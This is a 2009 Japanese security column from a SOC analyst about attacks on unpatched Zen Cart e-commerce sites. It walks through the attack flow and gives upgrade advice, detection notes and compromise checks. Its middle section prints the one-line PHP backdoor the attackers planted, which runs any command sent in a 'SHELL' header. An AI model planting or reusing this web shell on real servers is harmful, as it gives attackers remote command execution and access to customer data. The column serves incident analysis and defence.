セキュリティアナリストコラム
川口洋のセキュリティ・プライベート・アイズ(20)
ECサイトソフトウェアはなぜ更新されないのか
川口 洋
株式会社ラック
JSOCチーフエバンジェリスト兼セキュリティアナリスト
CISSP
2009/11/9
■平穏に見えても実は……
皆さんこんにちは、川口です。普段仕事をしていると社会人との付き合いが多くなるのですが、8月のセキュリティ&プログラミングキャンプ以降、学生の方との出会いのイベントが立て続けに2つありました。1つは弊社の親会社であるラックホールディングスの2010年度内定者向けイベント、もう1つはIT Keysと呼ばれるイベントです。
どちらも20代前半のIT系企業を志望する学生たちに対して、JSOCを見学してもらいました。このような社外向けへのイベントの対応も、エバンジェリストとしての大事な務めです。
| 【参考】 IT Keys - 先導的ITスペシャリスト育成推進プログラム http://it-keys.naist.jp/ |
そんな学生たちが見学したJSOCは平穏そうに見えますが、実際にはさまざまなインシデントが発生していました。今回は、学生たちがJSOCを見学していた時期である8月ころから始まった、あるインシデントの傾向について取り上げます。
■Zen Cartへの攻撃
先日、オープンソースのECサイト構築システムであるZen Cartに関する注意喚起を出しました。
| 【参考】 FrontPage - Zen Cart 日本語公式サイト http://zen-cart.jp/
ECアプリケーション「Zen Cart」に関する注意喚起 http://www.lac.co.jp/info/alert/alert20091008.html |
この攻撃は以下のような流れで行われます。
(0)攻撃者はGoogleやYahooなどの検索エンジンで攻撃対象となるWebサーバをリストアップする。
(1)「/zen-cart/zen-cart/admin/」ディレクトリにアクセス可能かどうかを確認する。
| 図1 「/zen-cart/zen-cart/admin/」にアクセス(クリックで全体表示) |
(2)POSTリクエストでバックドアを作成する。
| 図2 POSTリクエストを発行(クリックで全体表示) |
この画像ではリクエストヘッダだけを載せていますが、実際にはPOSTのリクエストボディに作成するバックドアが含まれています。今回作成されたバックドアは以下のようにたった1行です。
| <?php system($_SERVER["HTTP_SHELL"]); ?> |
(3)作成したバックドアに対してコマンドを実行する
| 図3 バックドアにコマンドを発行(クリックで全体表示) |
一見すると、作成したバックドアへGETでリクエストしているだけのように見えますが、SHELLというヘッダの後ろに実行したいコマンドを付けることで、サーバ上でコマンドの実行が可能です。
■どう対応するべきか
この攻撃への対応策は、最新版のZen Cartを使うことです。Zen Cartを使っている人は最新バージョンへバージョンアップしましょう。
どうしてもバージョンアップができない人は、IDS/IPS/WAFなどのセキュリティ機器で攻撃を防御することになりますが、今回の攻撃はファイルをアップロードする機能の脆弱性を悪用してバックドアファイルを作成していますので、注意が必要です。そのため、(2)のフェイズでの攻撃をIDS/IPSは「まったく」検知していませんでした。
JSOCでは、(3)のフェイズでの攻撃だけをJSIGで検知しており、かろうじてこの攻撃の存在に気付くことができました。ご利用のセキュリティ機器で対応可能であるかを必ず確認してください。
この攻撃によってZen Cartが被害を受けているかどうかを知るには、以下の点を確認してください。
- imagesディレクトリ内に不審なPHPファイルがないか確認する。見たことのないPHPファイルがあれば、それはバックドアかもしれません。
- Zen Cartが利用するデータベース内のテーブルrecord_companyに不正に作成されたファイル名を含むレコードが追加されていないか確認する。
- Webサーバにて見知らぬユーザーやプロセスが稼働していないか確認する。
- Webサーバのログを確認する。バックドアに対してのアクセスがあれば要注意。しかし、一般的なWebサーバのログ取得設定では実行されたコマンドまでは記録されません。
万が一、攻撃によって被害を受けていた場合は、必要なデータのみをバックアップし、システムを再構築することをお勧めします。中途半端に修正、削除を行っても攻撃者がどこに何を仕込んでいるか分かりません。さらにECサイトということで、カード情報を保有している場合には、念入りに調査を行ってください。
■脆弱性があるのに、なぜバージョンアップされないのか?
攻撃が行われる原因は、「そこに脆弱なZen Cartがあるから」です。
6月に脆弱性が発表されから4カ月の時間が経過していますが、いまだにバージョンアップされていないWebサイトが多数あるようです。バージョンアップされない理由は何なのでしょうか。考えてみました。
- 脆弱性情報の存在を知らない
- 脆弱性への対処方法が分からない(意味を読み取れない)
- ホスティング環境で使っており、バージョンアップできない
- カスタマイズして使っているので修正、バージョンアップにコストがかかりすぎる
- バージョンアップ自体のコストを捻出できない
- バージョンアップ作業で止めている期間の売り上げダウンが怖い
このコラムを読んでいるような人であれば1.という可能性は少ないと思いますが、脆弱性情報のチェックから抜けている可能性もあります。
2.の対処方法が分からない、については、脆弱性情報を公開する側の情報の出し方が問われます。あまりに詳細に情報を出すことで、攻撃方法を特定できてしまうという考え方もありますが、オープンソースである以上、パッチなどを解析すれば問題の個所を特定することは容易であり、隠していても仕方ありません。
同じECサイト用パッケージである「EC-CUBE」は脆弱性のある場所の修正個所が細かく記載してあり、対処する側としてもバージョンアップ以外の選択肢を取れることがありがたいです。EC-CUBEのようにオープンソースのものはバージョンアップ以外の手段も公開される風潮になることを願っています。
| 【参考】 EC-CUBE‐脆弱性リスト http://www.ec-cube.net/info/weakness/index.php |
3.のホスティング環境においては、権限や対応範囲、サポート範囲などの関係もあり、対処が難しい場合も多くあるでしょう。例えば大塚商会のサービスでは、以下のようにZen Cartの脆弱性に関するアナウンスが行われています。ホスティングサービスを利用するユーザーはホスティング事業者側からアナウンスされる脆弱性情報もチェックしなければなりません。
| 【参考】 2009/09/16 | サービス関連情報|最新情報|アルファメール プレミア 会員サイト http://www.alpha-prm.jp/new/service/2009/0916_929.html |
4〜6.のコストに関する問題については、Zen Cartに限らず、ECサイトを運営する事業者全員が抱える悩みです。サイト運営には脆弱性対応というコストがかかることを認識し、対応するしかありません。対応しないという選択肢はないにしても、脆弱性に対応するまでの間、どのようにウェブサイトを保護するかを考えなければなりません。
■学生が来れば思い出す……?
今回は見学に来ていた学生たちの向こう側で起こっていたインシデントについてのお話でした。そういえば、第7回目のコラムで書いたように、学生が見学しているときには何か思い出深いインシデントが発生しています。次の学生たちが見学してくれるときには平和であってほしいと願いつつ、見学していた学生たちがラックに入社して一緒にお酒が飲めることを夢見ながら、今日も飲みに行くのでした。
| 【関連記事】 川口洋のセキュリティ・プライベート・アイズ(7) 夏が来れば思い出す…… http://www.atmarkit.co.jp/fsecurity/column/kawaguchi/007.html |
| Profile |
| 川口 洋(かわぐち ひろし) 株式会社ラック JSOCチーフエバンジェリスト兼セキュリティアナリスト CISSP ラック入社後、IDSやファイアウォールなどの運用・管理業務をへて、セキュリティアナリストとして、JSOC監視サービスに従事し、日々セキュリティインシデントに対応。 アナリストリーダとして、セキュリティイベントの分析とともに、IDS/IPSに適用するJSOCオリジナルシグネチャ(JSIG)の作成、チューニングを実施し、監視サービスの技術面のコントロールを行う。 現在、JSOCチーフエバンジェリスト兼セキュリティアナリストとして、JSOC全体の技術面をコントロールし、監視報告会、セミナー講師など対外的な活動も行う。 |
川口洋のセキュリティ・プライベート・アイズ バックナンバー
- 第1回 あの「SQLインジェクション」騒動の裏で(前編)
- 第2回 あの「SQLインジェクション」騒動の裏で(後編)
- 第3回 4月にセキュリティインシデントが急増するワケ
- 第4回 ポートスキャン、私はこう考える
- 第5回 ネガティブか、ポジティブか……それが問題だ
- 第6回 IPSは“魔法の箱”か
- 第7回 夏が来れば思い出す……
- 第8回 クッキーに隠されたSQLインジェクション、対策は?
- 第9回 レッツ、登壇――アウトプットのひとつのかたち
- 第10回 ところで、パッケージアプリのセキュリティは?
- 第11回 ○×表の真実:「検知できる」ってどういうこと?
- 第12回 急増したSQLインジェクション、McColo遮断の影響は
- 第13回 世間の認識とのギャップ――XSSは本当に危ないか?
- 第14回 表裏一体、あっちのリアルとこっちのサイバー
- 第15回 狙われる甘〜いTomcat
- 第16回 分かっちゃいるが難しいアカウント情報盗用ボット対策
- 第17回 米韓へのDoS攻撃に見る、検知と防御の考え方
- 第18回 学生の未来に期待する夏
- 第19回 狙われるphpMyAdmin、攻撃のきっかけは?
- 第20回 ECサイトソフトウェアはなぜ更新されないのか
- 第21回 BlasterやNetsky並み? 静かにはびこるGumblar
- 第22回 新春早々の「Gumblar一問一答」
- 第23回 Gumblarがあぶり出す 「空虚なセキュリティ対策」
- 第24回 Gumblar、いま注目すべきは名前ではなく“事象”
- 第25回 実録・4大データベースへの直接攻撃
- 第26回 ともだち373人できるかな――IMセキュリティ定点観測
- 第27回 不安が残る、アドビの「脆弱性直しました」
- 第28回 Webを見るだけで――ここまできたiPhoneの脅威
- 第29回 曇りのち晴れとなるか? クラウド環境のセキュリティ
- 第30回 9・18事件にみる7つの誤解
- 第31回 2010年、5つの思い出――Gumblarからキャンプまで
- 第32回 ペニーオークションのセキュリティを斬る
- 第33回 東日本大震災、そのときJSOCは
- 第34回 これが標的型攻撃の実態だ
- 第35回 スパムが吹けば薬局がもうかる
- 第36回 アナリストが抱えるIPv6、6つの悩み事
- 第37回 アプリケーションサーバの脆弱性にご注意を
| 川口洋のセキュリティ・プライベート・アイズ 連載インデックス |
TechTargetジャパン
- Facebook タイムライン利用時の「鉄則」 (2012/2/9)
ユーザーインターフェイスの変更措置に伴い浮上した、Facebookの「過剰な情報提供」のリスクと対策とは - 無料サービスなら通信内容を記録してもいいの? (2012/1/13)
無料の公衆無線LANサービスが、ユーザーに無断で通信履歴を記録していたことが判明し、話題に - 攻撃はまるでレーザービーム (2011/12/26)
2011年に話題となった標的型攻撃は「人」という弱点ををねらい打ちにしました。では、人に教育さえしておけば防げるものなのでしょうか? - 見せたくないなら「持たせない」が鉄則! (2011/12/15)
逆コンパイル対策で難読化したのに、大事なデータが解析されちゃった? Androidアプリのセキュリティの道は深い
|
|
キャリアアップ
スポンサーからのお知らせ
- - PR -
イベントカレンダー
- - PR -



